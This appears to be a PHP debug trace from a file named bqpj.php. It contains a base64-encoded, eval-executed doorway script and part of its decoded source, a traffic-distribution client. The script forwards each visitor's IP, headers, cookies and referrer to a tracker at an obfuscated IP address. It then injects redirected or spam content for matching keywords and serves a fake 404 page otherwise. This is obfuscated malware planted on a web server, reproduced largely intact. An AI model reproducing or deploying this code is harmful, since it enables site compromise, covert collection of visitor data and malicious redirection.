CBhbHJlYWR5IHN0YXJ0ZWQiOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICIoeyRmaWxlfTp7JGxpbmV9KSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+bG9nKCRtc2cpOw0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmhlYWRlcnMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkcmVzdWx0LT5oZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigkaGVhZGVyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPnN0YXR1cykpIHsNCiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkcmVzdWx0LT5zdGF0dXMpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5jb250ZW50VHlwZSkpIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAnQ29udGVudC1UeXBlOiAnIC4gJHJlc3VsdC0+Y29udGVudFR5cGU7DQogICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJGhlYWRlcik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIHVwZGF0ZUhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE9mZmVyKCRwYXJhbXMgPSBhcnJheSgpLCAkZmFsbGJhY2sgPSAnbm9fb2ZmZXInKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkdG9rZW4gPSAkdGhpcy0+Z2V0VG9rZW4oKTsNCiAgICAgICAgaWYgKGVtcHR5KCR0b2tlbikpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2coJ0NhbXBhaWduIGhhc25cJ3QgcmV0dXJuZWQgb2ZmZXInKTsNCiAgICAgICAgICAgIHJldHVybiAkZmFsbGJhY2s7DQogICAgICAgIH0NCiAgICAgICAgJHBhcmFtc1snX2xwJ10gPSAxOw0KICAgICAgICAkcGFyYW1zWydfdG9rZW4nXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXMtPl9idWlsZE9mZmVyVXJsKCRwYXJhbXMpOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0JvdCgpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIGlmIChpc3NldCgkcmVzdWx0LT5pbmZvKSkgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPmlzX2JvdCkgPyAkcmVzdWx0LT5pbmZvLT5pc19ib3QgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1VuaXF1ZSgkbGV2ZWwgPSAnY2FtcGFpZ24nKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+aW5mbykgJiYgJHJlc3VsdC0+aW5mby0+dW5pcXVlbmVzcykgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPnVuaXF1ZW5lc3MtPiRsZXZlbCkgPyAkcmVzdWx0LT5pbmZvLT51bmlxdWVuZXNzLT4kbGV2ZWwgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIGZvcmNlQ2hvb3NlT2ZmZXIoKQ0KICAgIHsNCiAgICAgICAgdGhyb3cgbmV3IFxFcnJvcignZm9yY2VDaG9vc2VPZmZlciB3YXMgcmVtb3ZlZCBpbiBLQ2xpY2tDbGllbnQgdjMuJyk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldEJvZHkoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICByZXR1cm4gJHJlc3VsdC0+Ym9keTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVhZGVycygpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIHJldHVybiAkcmVzdWx0LT5oZWFkZXJzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3N0YXJ0U2Vzc2lvbigpDQogICAgew0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfYnVpbGRPZmZlclVybCgkcGFyYW1zID0gYXJyYXkoKSkNCiAgICB7DQogICAgICAgICRyZXF1ZXN0ID0gcGFyc2VfdXJsKCR0aGlzLT5fdHJhY2tlclVybCk7DQogICAgICAgICRsYXN0Q2hhciA9IHN1YnN0cigkcmVxdWVzdFsncGF0aCddLCAtMSk7DQogICAgICAgIGlmICgkbGFzdENoYXIgIT0gJy8nICYmICRsYXN0Q2hhciAhPSAnXFwnKSB7DQogICAgICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKGJhc2VuYW1lKCRyZXF1ZXN0WydwYXRoJ10pLCAnJywgJHJlcXVlc3RbJ3BhdGgnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0WydwYXRoJ107DQogICAgICAgIH0NCiAgICAgICAgJHBhdGggPSBsdHJpbSgkcGF0aCwgIlxcXC8iKTsNCiAgICAgICAgJHBhcmFtcyA9IGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcyk7DQogICAgICAgIHJldHVybiAieyRyZXF1ZXN0WydzY2hlbWUnXX06Ly97JHJlcXVlc3RbJ2hvc3QnXX0veyRwYXRofT97JHBhcmFtc30iOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0Q3VycmVudFBhZ2UoKQ0KICAgIHsNCiAgICAgICAgaWYgKChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gID09IDQ0MykgfHwgIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgew0KICAgICAgICAgICAgJHNjaGVtZSA9ICdodHRwcyc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkc2NoZW1lID0gJ2h0dHAnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkc2NoZW1lIC4gJzovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9idWlsZFJlcXVlc3RVcmwoKQ0KICAgIHsNCiAgICAgICAgJHJlcXVlc3QgPSBwYXJzZV91cmwoJHRoaXMtPl90cmFja2VyVXJsKTsNCiAgICAgICAgJHVybCA9ICJ7JHJlcXVlc3RbJ3NjaGVtZSddfTovL3skcmVxdWVzdFsnaG9zdCddfSI7DQogICAgICAgIGlmIChpc3NldCgkcmVxdWVzdFsncG9ydCddKSkgew0KICAgICAgICAgICAgJHVybCA9ICc6JyAuICRyZXF1ZXN0Wydwb3J0J107DQogICAgICAgIH0NCiAgICAgICAgJHVybCAuPSAiL3skcmVxdWVzdFsncGF0aCddfSI7DQogICAgICAgIHJldHVybiAkdXJsOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZmluZElwKCkNCiAgICB7DQogICAgICAgICRpcCA9IG51bGw7DQogICAgICAgICRoZWFkZXJzID0gYXJyYXkoDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLA0KICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnSFRUUF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRF9GT1JfSVAnLA0KICAgICAgICAgICAgJ1hfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnWF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdGT1JXQVJERURfRk9SX0lQJywNCiAgICAgICAgICAgICdIVFRQX1BST1hZX0NPTk5FQ1RJT04nKTsNCiAgICAgICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGhlYWRlcikgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlskaGVhZGVyXSkpIHsNCiAgICAgICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWyRoZWFkZXJdKTsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGlwLCAnLCcpKSB7DQogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRpcCk7DQogICAgICAgICAgICBpZiAoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtaW5pJykpIHsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbY291bnQoJHRtcCkgLSAyXSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRpcCA9IHRyaW0oJHRtcFswXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJGlwKSkgew0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGlwOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCkNCiAgICB7DQogICAgICAgIHJldHVybiB0aW1lKCkgKyA2MCAqIDYwICogJHR0bDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRDb29raWVIb3N0KCkNCiAgICB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pICYmIHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sICcuJykgPCAzKSB7DQogICAgICAgICAgICAkaG9zdCA9ICcuJyAuIHN0cl9yZXBsYWNlKCd3d3cuJywgJycsICRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkaG9zdCA9IG51bGw7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRob3N0Ow0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldFJlcXVlc3RPcHRpb25zKCkNCiAgICB7DQogICAgICAgICRvcHRzID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgew0KICAgICAgICAgICAgJG9wdHNbJ2Nvb2tpZXMnXSA9IHByZWdfcmVwbGFjZSgnL1BIUFNFU1NJRD0uKj87L3NpJywgJycsICRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkb3B0czsNCiAgICB9DQp9DQoNCmNsYXNzIEtIdHRwQ2xpZW50DQp7DQogICAgY29uc3QgVUEgPSAnS0h0dHBDbGllbnQnOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlcXVlc3QoJHVybCwgJHBhcmFtcywgJG9wdHMgPSBhcnJheSgpKQ0KICAgIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgaXNzZXQoJG9wdHNbJ2Nvb2tpZXMnXSkgPyAkb3B0c1snY29va2llcyddIDogbnVsbCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCBzZWxmOjpVQSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcykpOw0KICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGlmIChjdXJsX2Vycm9yKCRjaCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKGN1cmxfZXJyb3IoJGNoKSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKCdFbXB0eSByZXNwb25zZScpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCn0NCg0KY2xhc3MgS1RyYWZmaWNDbGllbnRFcnJvciBleHRlbmRzIFxFeGNlcHRpb24ge30NCg0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnaHR0cF9yZXNwb25zZV9jb2RlJykpIHsNCiAgICBmdW5jdGlvbiBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUgPSBOVUxMKSB7DQoNCiAgICAgICAgaWYgKCRjb2RlICE9PSBOVUxMKSB7DQoNCiAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0014531008__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0025666376eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if 